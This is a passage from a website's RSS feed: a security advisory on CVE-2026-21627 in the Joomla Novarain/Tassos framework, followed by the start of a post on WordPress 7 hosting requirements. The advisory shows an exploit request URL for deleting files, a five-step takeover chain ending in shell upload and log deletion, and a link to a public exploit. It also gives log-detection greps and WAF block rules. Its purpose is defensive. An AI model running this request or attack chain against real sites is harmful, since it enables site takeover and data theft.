&lt;p&gt;This lets them include any PHP file on the server and instantiate any class that implements an &lt;code&gt;onAjax&lt;/code&gt; method. Internal helper classes that were never meant to be publicly accessible become remotely reachable gadgets.&lt;/p&gt;
&lt;p&gt;The key detail here is the &lt;code&gt;$non_admin_tasks&lt;/code&gt; array. Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; system is designed to let plugins handle AJAX requests from the frontend. The nrframework plugin explicitly lists &lt;code&gt;include&lt;/code&gt; as a task that doesn&apos;t require admin authentication. That&apos;s a design decision in the plugin code, not a Joomla core weakness. The plugin chose to allow unauthenticated users to trigger file inclusion.&lt;/p&gt;
&lt;p&gt;What makes this worse is the &lt;code&gt;class&lt;/code&gt; parameter. After including a file, the plugin instantiates whatever class name the attacker specifies and calls its &lt;code&gt;onAjax&lt;/code&gt; method. Joomla&apos;s codebase contains dozens of classes with &lt;code&gt;onAjax&lt;/code&gt; methods, each one a potential gadget for the attacker to chain into further exploitation.&lt;/p&gt;
&lt;h3&gt;2. Arbitrary file read and file deletion&lt;/h3&gt;
&lt;p&gt;Two built-in classes provide file operations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;nrchainedfields&lt;/strong&gt; - handles CSV loading for cascading select fields. By manipulating the file path, an attacker can read any file the web server user can access. Configuration files, database credentials, &lt;code&gt;.htpasswd&lt;/code&gt; files - all readable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;nrinlinefileupload&lt;/strong&gt; - provides an &lt;code&gt;onRemove()&lt;/code&gt; method that deletes files at attacker-supplied paths without additional validation.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;GET /?option=com_ajax&amp;amp;format=raw&amp;amp;plugin=nrframework&amp;amp;task=include&amp;amp;class=NRInlineFileUpload&amp;amp;action=remove&amp;amp;remove_file=/path/to/target
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. SQL injection&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;ajaxify.php&lt;/code&gt; and &lt;code&gt;componentitems.php&lt;/code&gt; classes pass attacker-controlled &lt;code&gt;term&lt;/code&gt; parameters directly into database queries. This allows arbitrary table and column reads, including super-admin session tokens stored in Joomla&apos;s session table.&lt;/p&gt;
&lt;p&gt;These classes are designed for dynamic field population, the kind of thing that powers a &quot;search as you type&quot; dropdown in a form. The &lt;code&gt;term&lt;/code&gt; parameter is supposed to be a search string entered by a user filling out a Convert Forms field. Instead, an attacker can supply SQL fragments that get concatenated into the query without prepared statements or parameter binding.&lt;/p&gt;
&lt;p&gt;With read access to the database, the attacker can pull the &lt;code&gt;#__session&lt;/code&gt; table to find active super-admin sessions, extract user password hashes from &lt;code&gt;#__users&lt;/code&gt;, or read any other data the database user has access to. (For more on why &lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;Joomla database security&lt;/a&gt; matters, see our dedicated guide.) On shared hosting where the database user often has broader permissions than it should, the blast radius can extend beyond the Joomla database itself.&lt;/p&gt;
&lt;h3&gt;The full attack chain&lt;/h3&gt;
&lt;p&gt;In practice, an attacker chains these together:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Read the Joomla &lt;code&gt;configuration.php&lt;/code&gt; via the file-read primitive to get database credentials&lt;/li&gt;
&lt;li&gt;Use SQL injection to extract super-admin session tokens from the session table&lt;/li&gt;
&lt;li&gt;Hijack an admin session and log into &lt;code&gt;/administrator&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Upload a PHP shell through the template editor or extension installer&lt;/li&gt;
&lt;li&gt;Delete log files and access evidence to cover tracks&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That&apos;s complete site takeover. Shell access, full database control, and the ability to modify any file on the site.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;The public exploit on GitHub includes multiple attack modes: file upload, file deletion, SQL injection, and automated session hijacking. This is not a theoretical vulnerability. The tooling to exploit it is freely available and trivial to run.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;Which versions are vulnerable?&lt;/h2&gt;
&lt;p&gt;The vulnerability spans the entire Tassos extension suite. If you have any of these versions, you&apos;re exposed:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Extension&lt;/th&gt;
&lt;th&gt;Vulnerable versions&lt;/th&gt;
&lt;th&gt;Patched (Joomla 4/5/6)&lt;/th&gt;
&lt;th&gt;Patched (Joomla 3)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Novarain/Tassos Framework&lt;/strong&gt; (plg_system_nrframework)&lt;/td&gt;
&lt;td&gt;4.10.14 - 6.0.37&lt;/td&gt;
&lt;td&gt;6.0.62+&lt;/td&gt;
&lt;td&gt;6.0.62+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Convert Forms&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;3.2.12 - 5.1.0&lt;/td&gt;
&lt;td&gt;5.1.1+&lt;/td&gt;
&lt;td&gt;4.4.11+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;EngageBox&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;6.0.0 - 7.1.0&lt;/td&gt;
&lt;td&gt;7.1.1+&lt;/td&gt;
&lt;td&gt;6.3.9+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Google Structured Data&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;5.1.7 - 6.1.0&lt;/td&gt;
&lt;td&gt;6.1.1+&lt;/td&gt;
&lt;td&gt;5.6.9+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Advanced Custom Fields&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2.2.0 - 3.1.0&lt;/td&gt;
&lt;td&gt;3.1.1+&lt;/td&gt;
&lt;td&gt;2.8.10+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Smile Pack&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1.0.0 - 2.1.0&lt;/td&gt;
&lt;td&gt;2.1.1+&lt;/td&gt;
&lt;td&gt;1.2.4+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MailChimp Auto-Subscribe&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;(all unpatched)&lt;/td&gt;
&lt;td&gt;5.1.1+&lt;/td&gt;
&lt;td&gt;5.0.4+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;These version numbers come from &lt;a href=&quot;https://www.tassos.gr/blog/company/security-update-tassos-framework-patch-released&quot;&gt;Tassos.gr&apos;s official security advisory&lt;/a&gt;, published 18 February 2026. The nrframework plugin contains the vulnerable code, but the parent extensions control which version of nrframework gets installed. Updating any one Tassos extension to a patched version will also update the shared framework across all their products.&lt;/p&gt;
&lt;h2&gt;How do you check if your site is affected?&lt;/h2&gt;
&lt;h3&gt;Step 1: Find out if nrframework is installed&lt;/h3&gt;
&lt;p&gt;Log into your Joomla admin panel and go to &lt;strong&gt;System &amp;gt; Manage &amp;gt; Extensions&lt;/strong&gt;. Search for &lt;code&gt;nrframework&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If it appears, note the version number. Anything between 4.10.14 and 6.0.37 is vulnerable.&lt;/p&gt;
&lt;p&gt;Alternatively, check via the filesystem. The plugin lives at:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;plugins/system/nrframework/nrframework.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If that file exists, the plugin is installed. Open it and look for the version string in the XML header, or check the corresponding &lt;code&gt;nrframework.xml&lt;/code&gt; file in the same directory.&lt;/p&gt;
&lt;h3&gt;Step 2: Check for the parent extensions&lt;/h3&gt;
&lt;p&gt;Search your extensions list for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Convert Forms&lt;/code&gt; (com_convertforms)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;EngageBox&lt;/code&gt; (com_rstbox)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Google Structured Data&lt;/code&gt; (com_gsd)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Advanced Custom Fields&lt;/code&gt; (field plugins prefixed with &lt;code&gt;acf&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Smile Pack&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Any of these means nrframework is present. Even if you&apos;ve disabled the parent extension, the framework plugin may still be enabled and reachable.&lt;/p&gt;
&lt;h3&gt;Step 3: Check your server logs&lt;/h3&gt;
&lt;p&gt;Look for requests targeting the vulnerability. The attack pattern is distinctive:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep &quot;option=com_ajax.*plugin=nrframework.*task=include&quot; /var/log/apache2/access.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or for nginx:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep &quot;option=com_ajax.*plugin=nrframework.*task=include&quot; /var/log/nginx/access.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any matches indicate scanning or exploitation attempts against your site.&lt;/p&gt;
&lt;h2&gt;How do you check if your site has been exploited?&lt;/h2&gt;
&lt;p&gt;If your site was running a vulnerable version of nrframework while it was publicly accessible, you should check for signs of compromise. Attackers using CVE-2026-21627 would leave traces in several places.&lt;/p&gt;
&lt;h3&gt;Use the mySites.guru security audit tools&lt;/h3&gt;
&lt;p&gt;A mySites.guru &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;security audit&lt;/a&gt; runs over 50 file-level checks against the entire webspace. Several of these directly detect the artefacts an attacker would leave behind after exploiting CVE-2026-21627.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Hacked?&lt;/strong&gt; section of the audit flags suspect content, mailer scripts, file uploaders, and non-core files. If an attacker uploaded a PHP shell through the file inclusion primitive, the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; will match it against 12 years of known backdoor signatures:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Files Information&lt;/strong&gt; section goes deeper: recently modified files, hidden dot-files, PHP files in directories where they shouldn&apos;t be, files with 777 permissions, SQL dumps left in the webspace, and files modified between audits. If an attacker deleted logs or modified template files to inject code, these checks catch it:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Each check is clickable - you can drill into the individual files, see their contents, and compare against known-good hashes. This is what we built mySites.guru to do: turn a manual forensic process into something you can run across every site in your portfolio in minutes.&lt;/p&gt;
&lt;h3&gt;Manual checks (if you don&apos;t have mySites.guru)&lt;/h3&gt;
&lt;p&gt;If you&apos;re checking manually, here&apos;s what to look for:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Unauthorised admin accounts:&lt;/strong&gt; Go to &lt;strong&gt;Users &amp;gt; Manage&lt;/strong&gt; and look for admin accounts you don&apos;t recognise. Pay special attention to accounts created after 16 February 2026 (the public disclosure date). Attackers who extract session tokens via SQL injection may create persistent admin accounts as a fallback.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Unexpected PHP files:&lt;/strong&gt; Search writable directories for recently created PHP files:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find /path/to/joomla -name &quot;*.php&quot; -newer /path/to/joomla/configuration.php -type f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Focus on &lt;code&gt;/tmp/&lt;/code&gt;, &lt;code&gt;/images/&lt;/code&gt;, &lt;code&gt;/media/&lt;/code&gt;, &lt;code&gt;/cache/&lt;/code&gt;, and &lt;code&gt;/administrator/cache/&lt;/code&gt;. These are common drop locations for uploaded shells.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Modified template files:&lt;/strong&gt; Attackers with admin access often inject code into &lt;code&gt;index.php&lt;/code&gt; in your active template directory. Compare hashes against a clean copy:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find /path/to/joomla/templates -name &quot;index.php&quot; -exec md5sum {} \;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any mismatch against a known-good installation warrants investigation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Database tampering:&lt;/strong&gt; If you suspect SQL injection was used, check:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;#__session&lt;/code&gt; for sessions belonging to user IDs you don&apos;t recognise&lt;/li&gt;
&lt;li&gt;&lt;code&gt;#__users&lt;/code&gt; for accounts with Super User group membership that you didn&apos;t create&lt;/li&gt;
&lt;li&gt;&lt;code&gt;#__content&lt;/code&gt; (articles) for injected &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags, hidden iframes, or base64-encoded strings&lt;/li&gt;
&lt;li&gt;&lt;code&gt;#__extensions&lt;/code&gt; for plugins or components you didn&apos;t install, particularly anything with high ordering values (9999 is a common attacker pattern we&apos;ve seen &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;with the Astroid exploit&lt;/a&gt; too)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you find evidence of compromise, updating nrframework alone won&apos;t help. You need a full cleanup: remove backdoors, revoke compromised sessions, change database credentials, and scan the entire file system. If your &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla site has been hacked&lt;/a&gt;, our recovery guide walks through the process.&lt;/p&gt;
&lt;h2&gt;How do you fix it?&lt;/h2&gt;
&lt;h3&gt;Option 1: Update through the Joomla admin panel&lt;/h3&gt;
&lt;p&gt;If your Tassos.gr subscription is active, updates are available through Joomla&apos;s built-in updater:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;System &amp;gt; Update &amp;gt; Extensions&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Find the Tassos extensions in the update list&lt;/li&gt;
&lt;li&gt;Update them all - the nrframework plugin will update automatically with the parent extension&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Option 2: Download and install manually&lt;/h3&gt;
&lt;p&gt;Download the latest versions from &lt;a href=&quot;https://www.tassos.gr/&quot;&gt;Tassos.gr downloads&lt;/a&gt; and install them through &lt;strong&gt;System &amp;gt; Install &amp;gt; Extensions&lt;/strong&gt;. The installer will overwrite the vulnerable files.&lt;/p&gt;
&lt;h3&gt;Option 3: Disable immediately if you can&apos;t update yet&lt;/h3&gt;
&lt;p&gt;If you can&apos;t update right now (expired subscription, compatibility concerns, testing required), disable the plugin as an interim measure:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;System &amp;gt; Manage &amp;gt; Plugins&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Search for &lt;code&gt;nrframework&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Disable plg_system_nrframework&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;Disabling the plugin will break any functionality that depends on it. Convert Forms won&apos;t work. EngageBox popups won&apos;t appear. But a broken contact form is better than a compromised server. Disable, update properly during a maintenance window, then re-enable.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h3&gt;WAF rules as a stopgap&lt;/h3&gt;
&lt;p&gt;If you have a Web Application Firewall (ModSecurity, Cloudflare WAF, or similar), you can block the attack vector at the server level:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Block nrframework AJAX task=include requests
SecRule ARGS:plugin &quot;nrframework&quot; &quot;id:100001,phase:1,deny,chain&quot;
  SecRule ARGS:task &quot;include&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This blocks the primary attack vector while leaving other &lt;code&gt;com_ajax&lt;/code&gt; functionality intact. It&apos;s a temporary measure, not a replacement for patching.&lt;/p&gt;
&lt;p&gt;For nginx, the equivalent rule:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Block nrframework AJAX task=include requests
if ($args ~* &quot;plugin=nrframework.*task=include&quot;) {
    return 403;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you use Cloudflare, you can create a WAF custom rule that blocks requests where the URI query string contains both &lt;code&gt;plugin=nrframework&lt;/code&gt; and &lt;code&gt;task=include&lt;/code&gt;. This provides protection at the edge before the request ever reaches your server.&lt;/p&gt;
&lt;h2&gt;What about WordPress sites?&lt;/h2&gt;
&lt;p&gt;This vulnerability is Joomla-specific. The Tassos/Novarain Framework is a Joomla plugin and has no WordPress equivalent. If you manage a mixed portfolio of Joomla and WordPress sites, only the Joomla sites need checking for this particular issue.&lt;/p&gt;
&lt;p&gt;That said, WordPress has its own share of critical plugin vulnerabilities this month. &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;CVE-2026-1357 in WPvivid Backup&lt;/a&gt; (CVSS 9.8) affects 900,000+ sites with a similar unauthenticated RCE pattern. The common thread is the same: plugins that handle file operations with insufficient access controls.&lt;/p&gt;
&lt;p&gt;If you manage both Joomla and WordPress sites, a &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;single dashboard that covers both&lt;/a&gt; saves you from checking two separate ecosystems manually. When a critical CVE drops, the last thing you want is to be logging into 50 different admin panels across two different CMS platforms, checking extension versions one site at a time. That&apos;s how vulnerabilities stay unpatched for six weeks while a public exploit circulates on GitHub.&lt;/p&gt;
&lt;h2&gt;The pattern: AJAX endpoints without proper authorization&lt;/h2&gt;
&lt;p&gt;This is the third CMS plugin vulnerability we&apos;ve written about in March 2026 where the root cause is the same: an AJAX endpoint that accepts requests it shouldn&apos;t. And as of today, even Joomla core is patching the same class of issue.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Novarain Framework (CVE-2026-21627)&lt;/strong&gt; - Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; endpoint routes requests to &lt;code&gt;plg_system_nrframework&lt;/code&gt;, which whitelists the &lt;code&gt;include&lt;/code&gt; task for unauthenticated users. No permission check at all.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Astroid Framework (&lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;CVE-2026-21628&lt;/a&gt;)&lt;/strong&gt; - Joomla&apos;s AJAX handler validates the CSRF token but never checks if the user is logged in as an admin. Token from the public login page is enough.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Smart Slider 3 (&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;CVE-2026-3098&lt;/a&gt;)&lt;/strong&gt; - WordPress &lt;code&gt;wp_ajax&lt;/code&gt; actions validate a nonce but don&apos;t check user capabilities. A subscriber account is enough to trigger the export function and read any file on the server.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla core &lt;code&gt;com_ajax&lt;/code&gt; (&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;5.4.4 / 6.0.4&lt;/a&gt;)&lt;/strong&gt; - Released March 31, 2026. Joomla itself needed ACL hardening on &lt;code&gt;com_ajax&lt;/code&gt;. The framework that routes AJAX requests for every plugin in the ecosystem had the same authorization gap as the plugins built on top of it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/&quot;&gt;Elementor, Yoast SEO, WPForms, and Really Simple Security&lt;/a&gt;&lt;/strong&gt; - Four major WordPress plugins patched critical vulnerabilities in March 2026. Not all AJAX-related, but part of the same broader pattern of plugin security failures happening simultaneously across the WordPress ecosystem.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The root cause is the same across all four: the AJAX handler authenticates the request (or doesn&apos;t even bother) but never authorises the action. A nonce proves someone is logged in. A CSRF token proves the request came from your site. Neither one proves the user has permission to do what they&apos;re asking.&lt;/p&gt;
&lt;p&gt;Both Joomla and WordPress make it easy to register AJAX handlers. They don&apos;t make it easy to get the authorization right. Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; routes requests to any system plugin with a matching task name, and it&apos;s up to the plugin to check permissions. WordPress&apos;s &lt;code&gt;wp_ajax_{action}&lt;/code&gt; fires for any logged-in user by default - you have to explicitly add &lt;code&gt;current_user_can()&lt;/code&gt; checks. In both cases, the framework provides the plumbing but not the guardrails. Joomla 5.4.4 and 6.0.4 shipping ACL hardening for &lt;code&gt;com_ajax&lt;/code&gt; itself tells you how deep the problem goes - the routing layer that plugins depend on had the same gap.&lt;/p&gt;
&lt;p&gt;If you develop Joomla extensions or WordPress plugins, treat every AJAX handler as a public endpoint until you&apos;ve explicitly proven otherwise. Check capabilities, not just tokens. Four AJAX authorization failures in one month, across two CMS platforms and their core frameworks, should settle any debate about whether this is a priority.&lt;/p&gt;
&lt;p&gt;It&apos;s the same hidden dependency problem we covered earlier. CVE-2026-21627 and CVE-2026-21628 both target framework plugins that admins don&apos;t know are installed. When those frameworks have vulnerable AJAX endpoints, nobody checks for updates because nobody knows the plugin is there.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;January 2026&lt;/td&gt;
&lt;td&gt;CVE-2026-21627 reserved&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16 February 2026&lt;/td&gt;
&lt;td&gt;SSD Secure Disclosure publishes full vulnerability details&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18 February 2026&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.tassos.gr/blog/company/security-update-tassos-framework-patch-released&quot;&gt;Tassos.gr publishes security advisory&lt;/a&gt; and confirms patched versions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20 February 2026&lt;/td&gt;
&lt;td&gt;CVE formally published and NVD entry created&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;26 February 2026&lt;/td&gt;
&lt;td&gt;Public exploit tool with multiple attack modes &lt;a href=&quot;https://github.com/yallasec/CVE-2026-21627---Tassos-Novarain-Framework-plg_system_nrframework-Exploit---Joomla&quot;&gt;published on GitHub&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;30 March 2026&lt;/td&gt;
&lt;td&gt;3,861 of 8,297 affected mySites.guru sites (46.5%) remain unpatched&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Credit: the vulnerability was discovered by researcher &lt;strong&gt;p1r0x&lt;/strong&gt; working with &lt;a href=&quot;https://ssd-disclosure.com/joomla-novarain-tassos-framework-vulnerabilities/&quot;&gt;SSD Secure Disclosure&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.tassos.gr/blog/company/security-update-tassos-framework-patch-released&quot;&gt;Tassos.gr official security advisory&lt;/a&gt; - the vendor&apos;s own response with patched version numbers for each extension on Joomla 3 and Joomla 4/5/6&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ssd-disclosure.com/joomla-novarain-tassos-framework-vulnerabilities/&quot;&gt;SSD Secure Disclosure - Joomla! Novarain/Tassos Framework Vulnerabilities&lt;/a&gt; - the original disclosure with full technical details and attack chain walkthrough&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/yallasec/CVE-2026-21627---Tassos-Novarain-Framework-plg_system_nrframework-Exploit---Joomla&quot;&gt;CVE-2026-21627 exploit on GitHub&lt;/a&gt; - the public proof-of-concept tool with verify, upload, delete, and RCE modes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-21627&quot;&gt;CVE-2026-21627 official record&lt;/a&gt; - the authoritative CVE entry from MITRE/CVE.org&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cve.threatint.eu/CVE/CVE-2026-21627&quot;&gt;CVE-2026-21627 on THREATINT&lt;/a&gt; - CVSS scoring, CWE classification (CWE-284), and affected version ranges&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Security Centre&lt;/a&gt; - Joomla&apos;s official security advisory feed for core and extension vulnerabilities&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints: The Biggest CMS Security Blind Spot&lt;/a&gt; - the cross-CMS pattern behind Novarain, Astroid, Smart Slider 3, and Joomla core AJAX vulnerabilities&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;Ninja Forms File Uploads CVE-2026-0740&lt;/a&gt; - the same AJAX handler authorisation pattern on WordPress, CVSS 9.8 unauthenticated RCE affecting around 50,000 sites&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Check your sites now.&lt;/strong&gt; If you manage Joomla sites and you&apos;re not sure whether nrframework is installed, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free security audit&lt;/a&gt; on any site - no credit card, no commitment. You&apos;ll see every extension installed, its version, and whether it&apos;s flagged. For sites already compromised, our &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked recovery guide&lt;/a&gt; covers the full cleanup process.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>novarain</category><category>tassos</category><category>convert-forms</category><category>engagebox</category><enclosure url="https://mysites.guru/_astro/novarain-framework-joomla-vulnerability.QaIqMyK2.png" length="0" type="image/png"/></item><item><title>WordPress 7 Technical Requirements Check: Is Your Hosting Ready?</title><link>https://mysites.guru/blog/wordpress-7-technical-requirements-check/</link><guid isPermaLink="true">https://mysites.guru/blog/wordpress-7-technical-requirements-check/</guid><description>WordPress 7 requires PHP 7.4+ and MySQL 8.0+. Run a free hosting check across your entire portfolio to find which sites meet the technical requirements.</description><pubDate>Sat, 28 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-200 bg-neutral-50 p-4 dark:border-neutral-700 dark:bg-neutral-900&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-neutral-900 dark:text-neutral-200&quot;&amp;gt;Update (3 April 2026): WordPress 7.0 has been delayed.&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-neutral-700 dark:text-neutral-300&quot;&amp;gt;The original April 9 release date no longer applies. The core team is &amp;lt;a href=&quot;https://make.wordpress.org/core/2026/03/31/extending-the-7-0-cycle/&quot;&amp;gt;reworking the real-time collaboration architecture&amp;lt;/a&amp;gt;, and a &amp;lt;a href=&quot;https://make.wordpress.org/core/2026/04/02/the-path-forward-for-wordpress-7-0/&quot;&amp;gt;revised schedule&amp;lt;/a&amp;gt; is expected by April 22. The requirements below are unchanged - use the extra time to get your hosting ready.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;WordPress 7.0 was originally targeting April 9, 2026, but the release has been delayed. It raises the floor: PHP 7.2 and 7.3 are gone, MySQL 8.0 is the new minimum. If you manage a handful of WordPress sites, checking each one manually is tedious. If you &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;manage dozens or hundreds of WordPress sites&lt;/a&gt;, it&apos;s not realistic.&lt;/p&gt;
